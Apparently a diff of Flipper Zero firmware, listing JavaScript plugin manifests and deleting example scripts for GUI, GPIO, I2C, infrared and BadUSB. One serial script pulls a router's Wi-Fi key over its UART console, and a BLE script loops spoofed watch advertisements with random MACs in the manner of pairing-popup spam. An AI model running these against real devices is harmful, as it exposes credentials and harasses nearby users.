apptype=FlipperAppType.PLUGIN,
entry_point="js_event_loop_ep",
requires=["js_app"],
sources=[
"modules/js_event_loop/js_event_loop.c",
"modules/js_event_loop/js_event_loop_api_table.cpp",
],
)
App(
appid="js_gui",
apptype=FlipperAppType.PLUGIN,
entry_point="js_gui_ep",
requires=["js_app"],
sources=["modules/js_gui/js_gui.c", "modules/js_gui/js_gui_api_table.cpp"],
)
App(
appid="js_gui__loading",
apptype=FlipperAppType.PLUGIN,
entry_point="js_view_loading_ep",
requires=["js_app"],
sources=["modules/js_gui/loading.c"],
)
App(
appid="js_gui__empty_screen",
apptype=FlipperAppType.PLUGIN,
entry_point="js_view_empty_screen_ep",
requires=["js_app"],
sources=["modules/js_gui/empty_screen.c"],
)
App(
appid="js_gui__submenu",
apptype=FlipperAppType.PLUGIN,
entry_point="js_view_submenu_ep",
requires=["js_app"],
sources=["modules/js_gui/submenu.c"],
)
App(
appid="js_gui__text_input",
apptype=FlipperAppType.PLUGIN,
entry_point="js_view_text_input_ep",
requires=["js_app"],
sources=["modules/js_gui/text_input.c"],
)
App(
appid="js_gui__number_input",
apptype=FlipperAppType.PLUGIN,
entry_point="js_view_number_input_ep",
requires=["js_app"],
sources=["modules/js_gui/number_input.c"],
)
App(
appid="js_gui__button_panel",
apptype=FlipperAppType.PLUGIN,
entry_point="js_view_button_panel_ep",
requires=["js_app"],
sources=["modules/js_gui/button_panel.c"],
)
App(
appid="js_gui__popup",
apptype=FlipperAppType.PLUGIN,
entry_point="js_view_popup_ep",
requires=["js_app"],
sources=["modules/js_gui/popup.c"],
)
App(
appid="js_gui__button_menu",
apptype=FlipperAppType.PLUGIN,
entry_point="js_view_button_menu_ep",
requires=["js_app"],
sources=["modules/js_gui/button_menu.c"],
)
App(
appid="js_gui__menu",
apptype=FlipperAppType.PLUGIN,
entry_point="js_view_menu_ep",
requires=["js_app"],
sources=["modules/js_gui/menu.c"],
)
App(
appid="js_gui__vi_list",
apptype=FlipperAppType.PLUGIN,
entry_point="js_view_vi_list_ep",
requires=["js_app"],
sources=["modules/js_gui/vi_list.c"],
)
App(
appid="js_gui__byte_input",
apptype=FlipperAppType.PLUGIN,
entry_point="js_view_byte_input_ep",
requires=["js_app"],
sources=["modules/js_gui/byte_input.c"],
)
App(
appid="js_gui__text_box",
apptype=FlipperAppType.PLUGIN,
entry_point="js_view_text_box_ep",
requires=["js_app"],
sources=["modules/js_gui/text_box.c"],
)
App(
appid="js_gui__dialog",
apptype=FlipperAppType.PLUGIN,
entry_point="js_view_dialog_ep",
requires=["js_app"],
sources=["modules/js_gui/dialog.c"],
)
App(
appid="js_gui__file_picker",
apptype=FlipperAppType.PLUGIN,
entry_point="js_gui_file_picker_ep",
requires=["js_app"],
sources=["modules/js_gui/file_picker.c"],
fap_libs=["assets"],
)
App(
appid="js_gui__widget",
apptype=FlipperAppType.PLUGIN,
entry_point="js_view_widget_ep",
requires=["js_app"],
sources=["modules/js_gui/widget.c"],
)
App(
appid="js_gui__icon",
apptype=FlipperAppType.PLUGIN,
entry_point="js_gui_icon_ep",
requires=["js_app"],
sources=["modules/js_gui/icon.c"],
fap_libs=["assets"],
)
App(
appid="js_notification",
apptype=FlipperAppType.PLUGIN,
entry_point="js_notification_ep",
requires=["js_app"],
sources=["modules/js_notification.c"],
)
App(
appid="js_badusb",
apptype=FlipperAppType.PLUGIN,
entry_point="js_badusb_ep",
requires=["js_app"],
sources=["modules/js_badusb.c"],
)
App(
appid="js_serial",
apptype=FlipperAppType.PLUGIN,
entry_point="js_serial_ep",
requires=["js_app"],
sources=["modules/js_serial.c"],
)
App(
appid="js_gpio",
apptype=FlipperAppType.PLUGIN,
entry_point="js_gpio_ep",
requires=["js_app"],
sources=["modules/js_gpio.c"],
)
App(
appid="js_math",
apptype=FlipperAppType.PLUGIN,
entry_point="js_math_ep",
requires=["js_app"],
sources=["modules/js_math.c"],
)
App(
appid="js_storage",
apptype=FlipperAppType.PLUGIN,
entry_point="js_storage_ep",
requires=["js_app"],
sources=["modules/js_storage.c"],
)
App(
appid="js_vgm",
apptype=FlipperAppType.PLUGIN,
entry_point="js_vgm_ep",
requires=["js_app"],
sources=["modules/js_vgm/*.c", "modules/js_vgm/ICM42688P/*.c"],
)
App(
appid="js_subghz",
apptype=FlipperAppType.PLUGIN,
entry_point="js_subghz_ep",
requires=["js_app"],
sources=["modules/js_subghz/*.c"],
)
App(
appid="js_infrared",
apptype=FlipperAppType.PLUGIN,
entry_point="js_infrared_ep",
requires=["js_app"],
sources=["modules/js_infrared/*.c"],
)
App(
appid="js_blebeacon",
apptype=FlipperAppType.PLUGIN,
entry_point="js_blebeacon_ep",
requires=["js_app"],
sources=["modules/js_blebeacon.c"],
)
App(
appid="js_usbdisk",
apptype=FlipperAppType.PLUGIN,
entry_point="js_usbdisk_ep",
requires=["js_app"],
sources=["modules/js_usbdisk/*.c"],
)
App(
appid="js_i2c",
apptype=FlipperAppType.PLUGIN,
entry_point="js_i2c_ep",
requires=["js_app"],
sources=["modules/js_i2c.c"],
)
App(
appid="js_spi",
apptype=FlipperAppType.PLUGIN,
entry_point="js_spi_ep",
requires=["js_app"],
sources=["modules/js_spi.c"],
)

View File

@@ -1,8 +0,0 @@
let arr_1 = Uint8Array([0, 1, 2, 3, 4, 5, 6, 7, 8, 9]);
print("len =", arr_1.buffer.byteLength);
let arr_2 = Uint8Array(arr_1.buffer.slice(2, 6));
print("slice len =", arr_2.buffer.byteLength);
for (let i = 0; i < arr_2.buffer.byteLength; i++) {
print(arr_2[i]);
}

View File

@@ -1,20 +0,0 @@
let serial = require("serial");
serial.setup("lpuart", 115200);
// serial.write("\n");
serial.write([0x0a]);
let console_resp = serial.expect("# ", 1000);
if (console_resp === undefined) {
print("No CLI response");
} else {
serial.write("uci\n");
let uci_state = serial.expect([": not found", "Usage: "]);
if (uci_state === 1) {
serial.expect("# ");
serial.write("uci show wireless\n");
serial.expect(".key=");
print("key:", serial.readln());
} else {
print("uci cmd not found");
}
}

View File

@@ -1,73 +0,0 @@
let badusb = require("badusb");
let notify = require("notification");
let flipper = require("flipper");
let eventLoop = require("event_loop");
let gui = require("gui");
let dialog = require("gui/dialog");
let views = {
dialog: dialog.makeWith({
header: "BadUSB demo",
text: "Press OK to start",
center: "Start",
}),
};
badusb.setup({
vid: 0xAAAA,
pid: 0xBBBB,
mfrName: "Flipper",
prodName: "Zero",
layoutPath: "/ext/badusb/assets/layouts/en-US.kl"
});
eventLoop.subscribe(views.dialog.input, function (_sub, button, eventLoop, gui) {
if (button !== "center")
return;
gui.viewDispatcher.sendTo("back");
if (badusb.isConnected()) {
notify.blink("green", "short");
print("USB is connected");
badusb.println("Hello, world!");
badusb.press("CTRL", "a");
badusb.press("CTRL", "c");
badusb.press("DOWN");
delay(1000);
badusb.press("CTRL", "v");
delay(1000);
badusb.press("CTRL", "v");
badusb.println("1234", 200);
badusb.println("Flipper Model: " + flipper.getModel());
badusb.println("Flipper Name: " + flipper.getName());
badusb.println("Battery level: " + flipper.getBatteryCharge().toString() + "%");
// Alt+Numpad method works only on Windows!!!
badusb.altPrintln("This was printed with Alt+Numpad method!");
// There's also badusb.print() and badusb.altPrint()
// which don't add the return at the end
notify.success();
} else {
print("USB not connected");
notify.error();
}
// Optional, but allows to unlock usb interface to switch profile
badusb.quit();
eventLoop.stop();
}, eventLoop, gui);
eventLoop.subscribe(gui.viewDispatcher.navigation, function (_sub, _item, eventLoop) {
eventLoop.stop();
}, eventLoop);
gui.viewDispatcher.switchTo(views.dialog);
eventLoop.run();

View File

@@ -1,62 +0,0 @@
// Script cannot work without blebeacon module so check before
checkSdkFeatures(["blebeacon"]);
let blebeacon = require("blebeacon");
// Stop if previous background beacon is active
if (blebeacon.isActive()) {
blebeacon.stop();
}
// Make sure it resets at script exit, true will keep advertising in background
// This is false by default, can be omitted
blebeacon.keepAlive(false);
let math = require("math");
let currentIndex = 0;
let watchValues = [
0x1A, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08,
0x09, 0x0A, 0x0B, 0x0C, 0x11, 0x12, 0x13, 0x14, 0x15,
0x16, 0x17, 0x18, 0xE4, 0xE5, 0x1B, 0x1C, 0x1D, 0x1E,
0x20, 0xEC, 0xEF
];
function generateRandomMac() {
let mac = [];
for (let i = 0; i < 6; i++) {
mac.push(math.floor(math.random() * 256));
}
return Uint8Array(mac);
}
function sendRandomModelAdvertisement() {
let model = watchValues[currentIndex];
let packet = [
14, 0xFF, 0x75, 0x00, 0x01, 0x00, 0x02, 0x00, 0x01, 0x01, 0xFF, 0x00, 0x00, 0x43,
model
];
let intervalMs = 50;
// Power level, min interval and max interval are optional
blebeacon.setConfig(generateRandomMac(), 0x1F, intervalMs, intervalMs * 3);
blebeacon.setData(Uint8Array(packet));
blebeacon.start();
print("Sent data for model ID " + model.toString());
currentIndex = (currentIndex + 1) % watchValues.length;
delay(intervalMs);
blebeacon.stop();
}
while (true) {
sendRandomModelAdvertisement();
}

View File

@@ -1,5 +0,0 @@
print("print", 1);
console.log("log", 2);
console.warn("warn", 3);
console.error("error", 4);
console.debug("debug", 5);

View File

@@ -1,9 +0,0 @@
print("start");
delay(1000)
print("1");
delay(1000)
print("2");
delay(1000)
print("3");
delay(1000)
print("end");

View File

@@ -1,25 +0,0 @@
let eventLoop = require("event_loop");
// print a string after 1337 milliseconds
eventLoop.subscribe(eventLoop.timer("oneshot", 1337), function (_subscription, _item) {
print("Hi after 1337 ms");
});
// count up to 5 with a delay of 100ms between increments
eventLoop.subscribe(eventLoop.timer("periodic", 100), function (subscription, _item, counter) {
print("Counter two:", counter);
if (counter === 5)
subscription.cancel();
return [counter + 1];
}, 0);
// count up to 15 with a delay of 100ms between increments
// and stop the program when the count reaches 15
eventLoop.subscribe(eventLoop.timer("periodic", 100), function (subscription, _item, event_loop, counter) {
print("Counter one:", counter);
if (counter === 15)
event_loop.stop();
return [event_loop, counter + 1];
}, eventLoop, 0);
eventLoop.run();

View File

@@ -1,65 +0,0 @@
let eventLoop = require("event_loop");
let gpio = require("gpio");
// initialize pins
let led = gpio.get("pc3"); // same as `gpio.get(7)`
let led2 = gpio.get("pa7"); // same as `gpio.get(2)`
let pot = gpio.get("pc0"); // same as `gpio.get(16)`
let button = gpio.get("pc1"); // same as `gpio.get(15)`
led.init({ direction: "out", outMode: "push_pull" });
pot.init({ direction: "in", inMode: "analog" });
button.init({ direction: "in", pull: "up", inMode: "interrupt", edge: "falling" });
// blink led
print("Commencing blinking (PC3)");
eventLoop.subscribe(eventLoop.timer("periodic", 1000), function (_, _item, led, state) {
led.write(state);
return [led, !state];
}, led, true);
// cycle led pwm
print("Commencing PWM (PA7)");
eventLoop.subscribe(eventLoop.timer("periodic", 10), function (_, _item, led2, state) {
led2.pwmWrite(10000, state);
return [led2, (state + 1) % 101];
}, led2, 0);
// read potentiometer when button is pressed
print("Press the button (PC1)");
eventLoop.subscribe(button.interrupt(), function (_, _item, pot) {
print("PC0 is at", pot.readAnalog(), "mV");
}, pot);
// the program will just exit unless this is here
eventLoop.run();
// possible pins https://docs.flipper.net/gpio-and-modules#miFsS
// "PA7" aka 2
// "PA6" aka 3
// "PA4" aka 4
// "PB3" aka 5
// "PB2" aka 6
// "PC3" aka 7
// "PA14" aka 10
// "PA13" aka 12
// "PB6" aka 13
// "PB7" aka 14
// "PC1" aka 15
// "PC0" aka 16
// "PB14" aka 17
// possible modes
// { direction: "out", outMode: "push_pull" }
// { direction: "out", outMode: "open_drain" }
// { direction: "out", outMode: "push_pull", altFn: true }
// { direction: "out", outMode: "open_drain", altFn: true }
// { direction: "in", inMode: "analog" }
// { direction: "in", inMode: "plain_digital" }
// { direction: "in", inMode: "interrupt", edge: "rising" }
// { direction: "in", inMode: "interrupt", edge: "falling" }
// { direction: "in", inMode: "interrupt", edge: "both" }
// { direction: "in", inMode: "event", edge: "rising" }
// { direction: "in", inMode: "event", edge: "falling" }
// { direction: "in", inMode: "event", edge: "both" }
// all variants support an optional `pull` field which can either be undefined,
// "up" or "down"

View File

@@ -1,265 +0,0 @@
// import modules
let eventLoop = require("event_loop");
let gui = require("gui");
let loadingView = require("gui/loading");
let submenuView = require("gui/submenu");
let emptyView = require("gui/empty_screen");
let textInputView = require("gui/text_input");
let byteInputView = require("gui/byte_input");
let textBoxView = require("gui/text_box");
let dialogView = require("gui/dialog");
let filePicker = require("gui/file_picker");
let buttonMenuView = require("gui/button_menu");
let buttonPanelView = require("gui/button_panel");
let menuView = require("gui/menu");
let numberInputView = require("gui/number_input");
let popupView = require("gui/popup");
let viListView = require("gui/vi_list");
let widget = require("gui/widget");
let icon = require("gui/icon");
let flipper = require("flipper");
let math = require("math");
// declare clock widget children
let cuteDolphinWithWatch = icon.getBuiltin("DolphinWait_59x54");
let jsLogo = icon.getBuiltin("js_script_10px");
let stopwatchWidgetElements = [
{ element: "string", x: 67, y: 44, align: "bl", font: "big_numbers", text: "00 00" },
{ element: "string", x: 77, y: 22, align: "bl", font: "primary", text: "Stopwatch" },
{ element: "rect", x: 64, y: 27, w: 28, h: 20, radius: 3, fill: false },
{ element: "rect", x: 100, y: 27, w: 28, h: 20, radius: 3, fill: false },
{ element: "icon", x: 0, y: 5, iconData: cuteDolphinWithWatch },
{ element: "icon", x: 64, y: 13, iconData: jsLogo },
{ element: "button", button: "right", text: "Back" },
];
// icons for the button panel
let offIcons = [icon.getBuiltin("off_19x20"), icon.getBuiltin("off_hover_19x20")];
let powerIcons = [icon.getBuiltin("power_19x20"), icon.getBuiltin("power_hover_19x20")];
let settingsIcon = icon.getBuiltin("Settings_14");
// declare view instances
let views = {
loading: loadingView.make(),
empty: emptyView.make(),
keyboard: textInputView.makeWith({
header: "Enter your name",
minLength: 0,
maxLength: 32,
defaultText: flipper.getName(),
defaultTextClear: true,
}),
helloDialog: dialogView.make(),
bytekb: byteInputView.makeWith({
header: "Look ma, I'm a header text!",
length: 8,
defaultData: Uint8Array([0x11, 0x22, 0x33, 0x44, 0x55, 0x66, 0x77, 0x88]),
}),
longText: textBoxView.makeWith({
text: "This is a very long string that demonstrates the TextBox view. Use the D-Pad to scroll backwards and forwards.\nLorem ipsum dolor sit amet, consectetur adipiscing elit. Suspendisse rhoncus est malesuada quam egestas ultrices. Maecenas non eros a nulla eleifend vulputate et ut risus. Quisque in mauris mattis, venenatis risus eget, aliquam diam. Fusce pretium feugiat mauris, ut faucibus ex volutpat in. Phasellus volutpat ex sed gravida consectetur. Aliquam sed lectus feugiat, tristique lectus et, bibendum lacus. Ut sit amet augue eu sapien elementum aliquam quis vitae tortor. Vestibulum quis commodo odio. In elementum fermentum massa, eu pellentesque nibh cursus at. Integer eleifend lacus nec purus elementum sodales. Nulla elementum neque urna, non vulputate massa semper sed. Fusce ut nisi vitae dui blandit congue pretium vitae turpis.",
}),
stopwatchWidget: widget.makeWith({}, stopwatchWidgetElements),
buttonMenu: buttonMenuView.makeWith({
header: "Header"
}, [
{ type: "common", label: "Test" },
{ type: "control", label: "Test2" },
]),
buttonPanel: buttonPanelView.makeWith({
matrixSizeX: 2,
matrixSizeY: 2,
}, [
{ type: "button", x: 0, y: 0, matrixX: 0, matrixY: 0, icon: offIcons[0], iconSelected: offIcons[1] },
{ type: "button", x: 30, y: 30, matrixX: 1, matrixY: 1, icon: powerIcons[0], iconSelected: powerIcons[1] },
{ type: "label", x: 0, y: 50, text: "Label", font: "primary" },
]),
menu: menuView.makeWith({}, [
{ label: "One", icon: settingsIcon },
{ label: "Two", icon: settingsIcon },
{ label: "three", icon: settingsIcon },
]),
numberKbd: numberInputView.makeWith({
header: "Number input",
defaultValue: 100,
minValue: 0,
maxValue: 200,
}),
popup: popupView.makeWith({
header: "Hello",
text: "I'm going to be gone\nin 2 seconds",
}),
viList: viListView.makeWith({}, [
{ label: "One", variants: ["1", "1.0"] },
{ label: "Two", variants: ["2", "2.0"] },
]),
demos: submenuView.makeWith({
header: "Choose a demo",
}, [
"Hourglass screen",
"Empty screen",
"Text input & Dialog",
"Byte input",
"Text box",
"File picker",
"Widget",
"Button menu",
"Button panel",
"Menu",
"Number input",
"Popup",
"Var. item list",
"Exit app",
]),
};
// Enable illegal filename symbols since we're not choosing filenames, gives more flexibility
// Not available in all firmwares, good idea to check if it is supported
if (doesSdkSupport(["gui-textinput-illegalsymbols"])) {
views.keyboard.set("illegalSymbols", true);
}
// demo selector
eventLoop.subscribe(views.demos.chosen, function (_sub, index, gui, eventLoop, views) {
if (index === 0) {
gui.viewDispatcher.switchTo(views.loading);
// the loading view captures all back events, preventing our navigation callback from firing
// switch to the demo chooser after a second
eventLoop.subscribe(eventLoop.timer("oneshot", 1000), function (_sub, _, gui, views) {
gui.viewDispatcher.switchTo(views.demos);
}, gui, views);
} else if (index === 1) {
gui.viewDispatcher.switchTo(views.empty);
} else if (index === 2) {
gui.viewDispatcher.switchTo(views.keyboard);
} else if (index === 3) {
gui.viewDispatcher.switchTo(views.bytekb);
} else if (index === 4) {
gui.viewDispatcher.switchTo(views.longText);
} else if (index === 5) {
let path = filePicker.pickFile("/ext", "*");
if (path) {
views.helloDialog.set("text", "You selected:\n" + path);
} else {
views.helloDialog.set("text", "You didn't select a file");
}
views.helloDialog.set("center", "Nice!");
gui.viewDispatcher.switchTo(views.helloDialog);
} else if (index === 6) {
gui.viewDispatcher.switchTo(views.stopwatchWidget);
} else if (index === 7) {
gui.viewDispatcher.switchTo(views.buttonMenu);
} else if (index === 8) {
gui.viewDispatcher.switchTo(views.buttonPanel);
} else if (index === 9) {
gui.viewDispatcher.switchTo(views.menu);
} else if (index === 10) {
gui.viewDispatcher.switchTo(views.numberKbd);
} else if (index === 11) {
views.popup.set("timeout", 2000);
gui.viewDispatcher.switchTo(views.popup);
} else if (index === 12) {
gui.viewDispatcher.switchTo(views.viList);
} else if (index === 13) {
eventLoop.stop();
}
}, gui, eventLoop, views);
// say hi after keyboard input
eventLoop.subscribe(views.keyboard.input, function (_sub, name, gui, views) {
views.keyboard.set("defaultText", name); // Remember for next usage
views.helloDialog.set("text", "Hi " + name + "! :)");
views.helloDialog.set("center", "Hi Flipper! :)");
gui.viewDispatcher.switchTo(views.helloDialog);
}, gui, views);
// go back after the greeting dialog
eventLoop.subscribe(views.helloDialog.input, function (_sub, button, gui, views) {
if (button === "center")
gui.viewDispatcher.switchTo(views.demos);
}, gui, views);
// show data after byte input
eventLoop.subscribe(views.bytekb.input, function (_sub, data, gui, views) {
let data_view = Uint8Array(data);
let text = "0x";
for (let i = 0; i < data_view.length; i++) {
text += data_view[i].toString(16);
}
views.helloDialog.set("text", "You typed:\n" + text);
views.helloDialog.set("center", "Cool!");
gui.viewDispatcher.switchTo(views.helloDialog);
}, gui, views);
// go to the demo chooser screen when the back key is pressed
eventLoop.subscribe(gui.viewDispatcher.navigation, function (_sub, _, gui, views, eventLoop) {
if (gui.viewDispatcher.currentView === views.demos) {
eventLoop.stop();
return;
}
gui.viewDispatcher.switchTo(views.demos);
}, gui, views, eventLoop);
// go to the demo chooser screen when the right key is pressed on the widget screen
eventLoop.subscribe(views.stopwatchWidget.button, function (_sub, buttonEvent, gui, views) {
if (buttonEvent.key === "right" && buttonEvent.type === "short")
gui.viewDispatcher.switchTo(views.demos);
}, gui, views);
// count time
eventLoop.subscribe(eventLoop.timer("periodic", 500), function (_sub, _item, views, stopwatchWidgetElements, halfSeconds) {
let text = math.floor(halfSeconds / 2 / 60).toString();
if (halfSeconds < 10 * 60 * 2)
text = "0" + text;
text += (halfSeconds % 2 === 0) ? ":" : " ";
if (((halfSeconds / 2) % 60) < 10)
text += "0";
text += (math.floor(halfSeconds / 2) % 60).toString();
stopwatchWidgetElements[0].text = text;
views.stopwatchWidget.setChildren(stopwatchWidgetElements);
halfSeconds++;
return [views, stopwatchWidgetElements, halfSeconds];
}, views, stopwatchWidgetElements, 0);
// go back after popup times out
eventLoop.subscribe(views.popup.timeout, function (_sub, _item, gui, views) {
gui.viewDispatcher.switchTo(views.demos);
}, gui, views);
// button menu callback
eventLoop.subscribe(views.buttonMenu.input, function (_sub, input, gui, views) {
views.helloDialog.set("text", "You selected #" + input.index.toString());
views.helloDialog.set("center", "Cool!");
gui.viewDispatcher.switchTo(views.helloDialog);
}, gui, views);
// button panel callback
eventLoop.subscribe(views.buttonPanel.input, function (_sub, input, gui, views) {
views.helloDialog.set("text", "You selected #" + input.index.toString());
views.helloDialog.set("center", "Cool!");
gui.viewDispatcher.switchTo(views.helloDialog);
}, gui, views);
// menu callback
eventLoop.subscribe(views.menu.chosen, function (_sub, index, gui, views) {
views.helloDialog.set("text", "You selected #" + index.toString());
views.helloDialog.set("center", "Cool!");
gui.viewDispatcher.switchTo(views.helloDialog);
}, gui, views);
// menu callback
eventLoop.subscribe(views.numberKbd.input, function (_sub, number, gui, views) {
views.helloDialog.set("text", "You typed " + number.toString());
views.helloDialog.set("center", "Cool!");
gui.viewDispatcher.switchTo(views.helloDialog);
}, gui, views);
// ignore VI list
eventLoop.subscribe(views.viList.valueUpdate, function (_sub, _item) {});
// run UI
gui.viewDispatcher.switchTo(views.demos);
eventLoop.run();

View File

@@ -1,51 +0,0 @@
// Script cannot work without i2c module so check before
checkSdkFeatures(["i2c"]);
// Connect an 24C32N EEPROM to the I2C bus of the board. SDA=pin 15, SCL=pin 16, VCC=pin 9, GND=pin 8.
let i2c = require("i2c");
function i2c_find_first_device() {
let addr = -1;
for (let try_addr = 0; try_addr !== 0xff; try_addr++) {
if (i2c.isDeviceReady(try_addr, 5)) {
addr = try_addr;
break;
}
}
return addr;
}
let addr = i2c_find_first_device();
if (addr === -1) {
print("I2C device not found");
print("Please connect a 24C32N EEPROM I2C device to the Flipper Zero.");
print("SDA=pin 15, SCL=pin 16, VCC=pin 9, GND=pin 8.");
} else {
print("I2C device found at address: " + addr.toString(16));
delay(1000);
// first two bytes are the start address (0x0000)
// the remaining bytes are the data to store.
// can also use Uint8Array([0x00, 0x00, ...]) as write parameter
i2c.write(addr, [0x00, 0x00, 0x41, 0x42, 0x43, 0x44, 0x45, 0x46, 0x47]);
while (i2c.isDeviceReady(addr, 9) === false) {
print("Waiting for device to be ready...");
}
// write the address to read from (we start at address 0x0001)
// read 3 bytes - 0x42, 0x43, 0x44
let data_buf = i2c.writeRead(addr, [0x00, 0x01], 3, 100);
let data = Uint8Array(data_buf);
print("Read bytes: " + data.length.toString());
for (let i = 0; i < data.length; i++) {
print("data[" + i.toString() + "] = " + data[i].toString(16));
}
// read two more bytes (0x45, 0x46) from current address
data_buf = i2c.read(addr, 2);
data = Uint8Array(data_buf);
print("Read bytes: " + data.length.toString());
for (let i = 0; i < data.length; i++) {
print("data[" + i.toString() + "] = " + data[i].toString(16));
}
}

View File

@@ -1,47 +0,0 @@
checkSdkFeatures(["infrared-send"]);
let infrared = require("infrared");
print("Sending Samsung32 signal (lowers volume)...");
infrared.sendSignal("Samsung32", 0x00000007, 0x0000000b);
delay(1000);
print("Sending raw signal... (Fujitsu AC)");
infrared.sendRawSignal(
[
3298, 1571, 442, 368, 442, 367, 443, 1180, 442, 370, 440, 1181, 442, 368,
442, 367, 442, 368, 442, 1180, 443, 1180, 442, 368, 441, 367, 442, 369, 441,
1180, 442, 1180, 443, 368, 442, 369, 441, 368, 442, 368, 442, 368, 442, 368,
441, 368, 441, 368, 442, 368, 442, 368, 442, 367, 442, 368, 442, 366, 444,
1181, 442, 368, 441, 367, 442, 368, 442, 367, 442, 369, 441, 367, 443, 367,
442, 1180, 442, 368, 442, 368, 442, 368, 441, 368, 441, 1180, 442, 1180,
442, 1181, 442, 1181, 441, 1181, 442, 1181, 442, 1181, 442, 1181, 442, 369,
441, 368, 441, 1182, 442, 367, 443, 367, 443, 367, 442, 368, 442, 1181, 441,
369, 441, 369, 441, 369, 441, 1180, 442, 1181, 441, 369, 442, 368, 442, 367,
442, 368, 441, 1181, 441, 1183, 440, 368, 442, 368, 441, 369, 441, 1181,
442, 368, 442, 367, 443, 1181, 442, 368, 442, 369, 441, 368, 441, 369, 440,
368, 442, 367, 443, 367, 442, 367, 442, 367, 442, 368, 442, 369, 441, 369,
441, 368, 442, 369, 441, 368, 441, 367, 443, 368, 442, 367, 442, 369, 441,
369, 441, 368, 441, 367, 442, 367, 442, 368, 442, 368, 441, 368, 442, 368,
442, 368, 441, 367, 442, 367, 442, 368, 442, 368, 441, 368, 442, 369, 441,
368, 441, 367, 442, 368, 441, 368, 442, 368, 442, 368, 442, 368, 442, 367,
442, 1181, 442, 367, 442, 368, 441, 1181, 442, 1182, 441, 1181, 442, 1181,
442, 1181, 441, 368, 442, 368, 442, 369, 441,
],
true,
{ frequency: 38000, dutyCycle: 0.33 },
);
delay(1000);
print(
"Sending raw signal... (Fujitsu AC) with default frequency and duty cycle",
);
infrared.sendRawSignal([
3300, 1596, 416, 362, 448, 363, 446, 1177, 445, 363, 446, 1177, 445, 362, 448,
362, 448, 364, 446, 1178, 444, 1207, 415, 362, 448, 362, 448, 363, 447, 1177,
445, 1177, 446, 362, 448, 362, 447, 362, 447, 362, 448, 363, 447, 362, 447,
363, 447, 363, 447, 363, 446, 363, 446, 362, 447, 362, 447, 363, 446, 1177,
445, 363, 447, 364, 446, 362, 448, 363, 447, 363, 446, 362, 447, 362, 448,
1175, 447, 363, 447, 364, 446, 362, 448, 362, 448, 1176, 446, 362, 448, 362,
448, 363, 446, 362, 448, 362, 448, 363, 447, 1175, 446, 394, 415, 1176, 446,
1178, 444, 1174, 449, 1177, 445, 1180, 443, 1179, 443,
]);
print("Success");

View File

@@ -1,93 +0,0 @@
let eventLoop = require("event_loop");
let gui = require("gui");
let dialog = require("gui/dialog");
let textInput = require("gui/text_input");
let loading = require("gui/loading");
let storage = require("storage");
// No eval() or exec() so need to run code from file, and filename must be unique
storage.makeDirectory("/ext/.tmp");
storage.makeDirectory("/ext/.tmp/js");
storage.rmrf("/ext/.tmp/js/repl")
storage.makeDirectory("/ext/.tmp/js/repl")
let ctx = {
tmpTemplate: "/ext/.tmp/js/repl/",
tmpNumber: 0,
persistentScope: {},
};
let views = {
dialog: dialog.makeWith({
header: "Interactive Console",
text: "Press OK to Start",
center: "Run Some JS"
}),
textInput: textInput.makeWith({
header: "Type JavaScript Code:",
minLength: 0,
maxLength: 256,
defaultText: "2+2",
defaultTextClear: true,
}),
loading: loading.make(),
};
eventLoop.subscribe(views.dialog.input, function (_sub, button, gui, views) {
if (button === "center") {
gui.viewDispatcher.switchTo(views.textInput);
}
}, gui, views);
eventLoop.subscribe(views.textInput.input, function (_sub, text, gui, views, ctx) {
gui.viewDispatcher.switchTo(views.loading);
let path = ctx.tmpTemplate + (ctx.tmpNumber++).toString();
let file = storage.openFile(path, "w", "create_always");
file.write(text);
file.close();
// Hide GUI before running, we want to see console and avoid deadlock if code fails
gui.viewDispatcher.sendTo("back");
let result = load(path, ctx.persistentScope); // Load runs JS and returns last value on stack
storage.remove(path);
// Must convert to string explicitly
if (result === null) { // mJS: typeof null === "null", ECMAScript: typeof null === "object", IDE complains when checking "null" type
result = "null";
} else if (typeof result === "string") {
result = "'" + result + "'";
} else if (typeof result === "number") {
result = result.toString();
} else if (typeof result === "bigint") { // mJS doesn't support BigInt() but might aswell check
result = "bigint";
} else if (typeof result === "boolean") {
result = result ? "true" : "false";
} else if (typeof result === "symbol") { // mJS doesn't support Symbol() but might aswell check
result = "symbol";
} else if (typeof result === "undefined") {
result = "undefined";
} else if (typeof result === "object") {
result = "object"; // JSON.stringify() is not implemented
} else if (typeof result === "function") {
result = "function";
} else {
result = "unknown type: " + typeof result;
}
gui.viewDispatcher.sendTo("front");
views.dialog.set("header", "JS Returned:");
views.dialog.set("text", result);
gui.viewDispatcher.switchTo(views.dialog);
views.textInput.set("defaultText", text);
}, gui, views, ctx);
eventLoop.subscribe(gui.viewDispatcher.navigation, function (_sub, _, eventLoop) {
eventLoop.stop();
}, eventLoop);
gui.viewDispatcher.switchTo(views.dialog);
// Message behind GUI if something breaks
print("If you're stuck here, something went wrong, re-run the script")
eventLoop.run();
print("\n\nFinished correctly :)")

View File

@@ -1,3 +0,0 @@
let math = load(__dirname + "/load_api.js");
let result = math.add(5, 10);
print(result);

View File

@@ -1,3 +0,0 @@
({
add: function (a, b) { return a + b; },
})

View File

@@ -1,24 +0,0 @@
let math = require("math");
print("math.abs(-5):", math.abs(-5));
print("math.acos(0.5):", math.acos(0.5));
print("math.acosh(2):", math.acosh(2));
print("math.asin(0.5):", math.asin(0.5));
print("math.asinh(2):", math.asinh(2));
print("math.atan(1):", math.atan(1));
print("math.atan2(1, 1):", math.atan2(1, 1));
print("math.atanh(0.5):", math.atanh(0.5));
print("math.cbrt(27):", math.cbrt(27));
print("math.ceil(5.3):", math.ceil(5.3));
print("math.clz32(1):", math.clz32(1));
print("math.cos(math.PI):", math.cos(math.PI));
print("math.exp(1):", math.exp(1));
print("math.floor(5.7):", math.floor(5.7));
print("math.max(3, 5):", math.max(3, 5));
print("math.min(3, 5):", math.min(3, 5));
print("math.pow(2, 3):", math.pow(2, 3));
print("math.random():", math.random());
print("math.sign(-5):", math.sign(-5));
print("math.sin(math.PI/2):", math.sin(math.PI / 2));
print("math.sqrt(25):", math.sqrt(25));
print("math.trunc(5.7):", math.trunc(5.7));

View File

@@ -1,9 +0,0 @@
let notify = require("notification");
notify.error();
delay(1000);
notify.success();
delay(1000);
for (let i = 0; i < 10; i++) {
notify.blink("red", "short");
delay(500);
}

View File

@@ -1,9 +0,0 @@
let storage = require("storage");
print("script has __dirname of" + __dirname);
print("script has __filename of" + __filename);
if (storage.fileExists(__dirname + "/math.js")) {
print("math.js exist here.");
} else {
print("math.js does not exist here.");
}

View File

@@ -1,92 +0,0 @@
// Script cannot work without spi module so check before
